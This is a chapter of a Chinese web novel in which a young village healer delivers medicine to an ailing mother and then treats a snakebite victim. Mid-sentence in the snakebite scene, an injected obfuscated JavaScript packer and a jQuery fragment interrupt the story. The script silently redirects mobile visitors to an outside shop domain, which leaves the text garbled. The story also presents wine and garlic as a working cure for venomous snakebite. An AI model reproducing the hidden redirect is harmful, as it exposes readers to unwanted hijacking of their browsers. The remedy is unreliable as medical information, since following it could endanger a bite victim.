江霄每日抄两刻钟的书就会起来走动一盏茶,伸展伸展手脚,不至于僵硬疲累,那日他从书肆带回来的两本册子业已抄完了一本,剩下那本眼看着也差不多了。
“在想什么?”他双手摊开在火盆上方烤了烤,待到手脚都暖和起来,不经意往屋外看了眼,就见萧盈托着脸愁眉苦脸的蹲在药罐前扇火,容不得他多想,就已经走了出去。
冷不丁的话吓得萧盈惊呼了声,手里的小蒲扇下意识拍在他身上。
“吓到你了?”江霄摸着鼻子满含歉意。
“没有,是我想事太入神了。”萧盈摇头,又道:“我在想怎么才能多挣点钱。”
江霄愕然:“家里缺钱了吗?那我先去把书抄完,能挣一点是一点。”
萧盈看他风风火火就要进屋继续奋笔疾书,顿时忍俊不禁:“你想到哪里去了,是我未雨绸缪罢了,哪有人嫌钱少的。”
“我记得你夏天有时候会去镇上卖茶汤,现在不能做了吗?”江霄停下步子,迟疑的道。
萧盈没想到他还记得这些事,与其说她是去镇上卖茶汤,不如说是想趁机行医治病,所以东西卖不卖得出去能卖出去多少,她并不上心,哪怕空手而归,但只要能看一个病人也是开心的。
“是不好做。”
江霄疑惑。
萧盈细声解释:“夏天卖茶汤,多是消暑解渴的功效,从家里到镇上坐牛车只要三刻钟,茶汤冷了反而更好;但冬季就不行了,大家都爱喝一口热汤暖身。如果把材料包好去现场煮热汤也不成,一则家里只有一个大铁锅,总不能从灶上撬走;二则镇上的柴火和水都要花钱买,成本太高;三则如果用陶罐煮,分量太少,耗的时间太长,总不能两刻钟只煮好两份茶汤吧,谁愿意大冷天顶着寒风买呢?”
镇上又不是只有她一家卖这些东西,稍慢几息人家就已经转头走了。
萧盈放下蒲扇,把药炉里的柴火退了几根出来,捏着帕子小心翼翼的把煎好的汤药过滤出来,放在药盒里。
“你快进屋去烤火吧,我给杜嫂子送药去。”
叶家在村长和里正的强势下已经分家,杜小荷当天就拖着病体抱着孩子去了旧屋那边,村里人看不下去,一家出了几个壮劳力帮忙打扫清理,又把屋顶和泥墙夯实了一遍,勉强能住人。
好在大丫二丫勤快又伶俐,每天捡柴挖野菜,纵然杜小荷还没好不能干活,但日子却比从前好太多了,至少耳边不会随时都有人骂骂咧咧,也不用担心多喝了两口粥多烧了两根柴就挨骂,更不用天没亮就起床干活天黑了还不能休息。
萧家距离旧屋不算远,路上总能碰见几家的老大爷老大娘聚在一起唠嗑,萧盈不爱听他们老生常谈,也担心药冷了误了药效,她阿爷可说了,杜嫂子的身体现在就是强弩之末,靠几个孩子撑住了这口气,喝药治疗是万万耽误不得。
杜小荷脸色蜡黄,身形消瘦,发丝枯槁,抱着哼哼唧唧的小宝半坐在铺了两层干茅草的床上,嘴里哦哦哄着,眼神却黯淡无神,看见萧盈进门才亮了一下。
“嫂子喝药吧。”
萧盈把药盒搁在床边,从杜小荷手里接过小宝,她低头一看,心里就酸了起来,叶小宝也瘦弱得很,都半岁多了,和刚出生时的重量竟没多大差别。
“麻烦老郎中和妹子了。”杜小荷喝了药,眼圈有些红,真心实意的道:“我和长松实在是不知道应该怎么感谢你们。”
她边说边塞了一把铜钱到萧盈怀里:“这回分家,村长压着我公公给分了粮食和几贯钱,我们还要考虑孩子,只能先给这些,等明年长松出去做工挣了钱,地里有收成了,再把药钱结清。”
萧盈没要:“嫂子和大丫二丫小宝都要补身子,马上就要过冬还得准备,这里空荡荡的,吃喝住需要的东西都要一点一点凑,嫂子还是先收着吧,不急在这一时,等以后日子好了再说。”
杜小荷哽咽落泪,攥着那把铜钱似乎把心都攥疼了。
萧盈看了眼乖巧的小宝,安慰道:“小宝有福,如今离了火坑,又有嫂子和叶大哥这样真心疼爱他的父母,以后好日子还多着呢。”
杜小荷揩了泪,瓮声道:“他要真有福,就不会托生在我的肚子里,平白吃了许多苦。”
“都说吃得苦中苦,方为人上人,我们小宝现在已经过了这个坎儿,以后有父母爱护着,一切都会越来越好的。”
杜小荷弯了弯嘴角,接过小宝抱在怀里,低头看着他的目光满是慈爱:“希望如此吧。”
萧盈又略说了两句,见杜小荷精神不济,便提着药盒转身回家,路上遇见大丫二丫两个小姑娘抱着条巴掌大的鱼欢天喜地的回家,虽然仍旧是瘦巴巴的,但脸上的笑容却多了。
萧盈也油然而生出几分欢喜,只觉得村长和里正的这个决策未免太好,连杜小荷愁苦憔悴的面容和叶小宝残弱稚嫩的模样都从她脑海中慢慢变成了她们俩的笑容。
刚回到家,就见江霄站在院子里神色焦急,转头看见她时眼眸一亮,一副救星来了的模样。
“怎么了?”萧盈随手把药盒放在街檐,她阿爷近来不怎么得空,除了时不时要去给杜小荷母子把脉以外,还要去给村里的一些牲畜看病,家畜重要的紧,他们暂时不敢请她。
“有人来看病,很急。”江霄指了指药房,小声道。
萧盈二话不说冲进药房,果见有三人在里面,一人坐在椅上,两人护在身边,站着的两人满脸焦灼,不是捶胸顿足就是原地打转,时不时还要伸长脖子看一眼门外。
“郎中,你可来了!”
“快来看看我们兄弟的伤!”
萧盈还没来得及开口就被两人连推带搡地拉到伤者面前,椅上的男人唇色发青,面色惨白,额头渗汗,双眼紧闭似有些晕厥症状。
“他怎么了?”萧盈上下仔细打量,就看见他的衣袖挽起,手腕处绑着根树藤,露出手背上的两个齿痕血口来。
萧盈面色一变:“蛇毒?这个季节蛇不是都冬
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17783450|204737||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
眠了吗,他怎么还会被蛇咬?”
自打入了十月天气渐渐凉爽下来,他们这一带的蛇虫蜈蚣都应该没踪迹了才对,起码也要等到明年三月才会出来活动。
左边的高个男人眼神飘忽,支支吾吾:“郎中,你快给他治吧,否则一会儿就晚了!”
萧盈伸手把了脉象,混乱至极,“蛇呢,带来了吗?”
右边稍矮些的瘦竹竿忙在腰间的布兜里掏了下:“带,带来了,您看看。”
话落,一条死得惨烈的长蛇就被递到了眼前,蛇鳞清晰可见,鼻尖都能闻见冷冽的血腥气,萧盈吓得一蹦而起,连退两步,脸色也白了些,抚着胸口大喘气。
瘦竹竿看见她这反应,意识到自己太过鲁莽,急忙道歉:“实在对不住,我,我这……”
高个男人也没好气的转头骂了同伴一句,赔笑道:“他满脑子都担心我们兄弟的伤,一时没注意到郎中怕蛇。”
“小郎中?”江霄站在药房外时刻注意里面的清醒,听见些动静就朝里走,瞥见萧盈的神态,快步走到她身边扶着,刚要开口问缘由余光就扫见瘦竹竿手里的东西,不由得噎挺了下。
“别说了,我大概看一眼是什么蛇就行。”萧盈转头不去看那人手中的长蛇,“在这里等着,别移动他,江石头,你去灶房里取一壶黄酒和几颗大蒜过来。”
萧盈说完便去药柜中连抓了两三味药,江霄虽然不解其意但他信任萧盈的医术,二话不说就跑了出去。
“大哥,这女郎中真行吗?”瘦竹竿把蛇塞进兜里,忧心忡忡和高个子咬耳朵。
“行不行的,方圆几里就他们一家郎中,你又不是不知道。”
高个子满脸晦气,本来是想趁着过年前和兄弟们捞笔大的过个丰年,所以赶早上山摸东西,谁知道倒霉遇见条毒蛇,三人本来都挺高兴的,毕竟这玩意卖的贵,不论是药铺还是地主商户家都会收,谁知道老三毛手毛脚,徒手就抓了上去,还没把蛇弄死呢,蛇先从冬眠里醒了,反手就是一口,拦都拦不住。
瘦竹竿眼疾手快,立马从地上抓了块石头“梆梆”捶,把蛇脑袋锤得稀巴烂。
这下好了,兄弟被咬了,蛇也被锤烂了卖不出高价,简直是赔了夫人又折兵。
两人扶着兄弟下山,还没等走到大路上人就晕了,他们没办法只好到处找郎中,最近的就是萧家。萧老郎中的名声,混迹乡邻的几人还是知道的,谁知道老郎中不在家,等了半天等来的却是个年轻姑娘,只能死马当活马医了。
不过片刻江霄就拿着酒和大蒜回来,萧盈直接把东西递给两人:“把人弄醒,让他喝酒吃蒜,吃到饱腹。”
高个子瘦竹竿面面相觑,这法子太过匪夷所思,但萧盈的语气又十分肯定,两人不敢耽搁,急忙把老三喊醒,一口酒一瓣蒜就塞进嘴里了。
老三中毒虚弱,毫无反抗之力,尚且不知道发生了什么事就被喂了个肚子胀圆,一打嗝全是蒜臭味,熏得老大老二捂着鼻子退了好几步。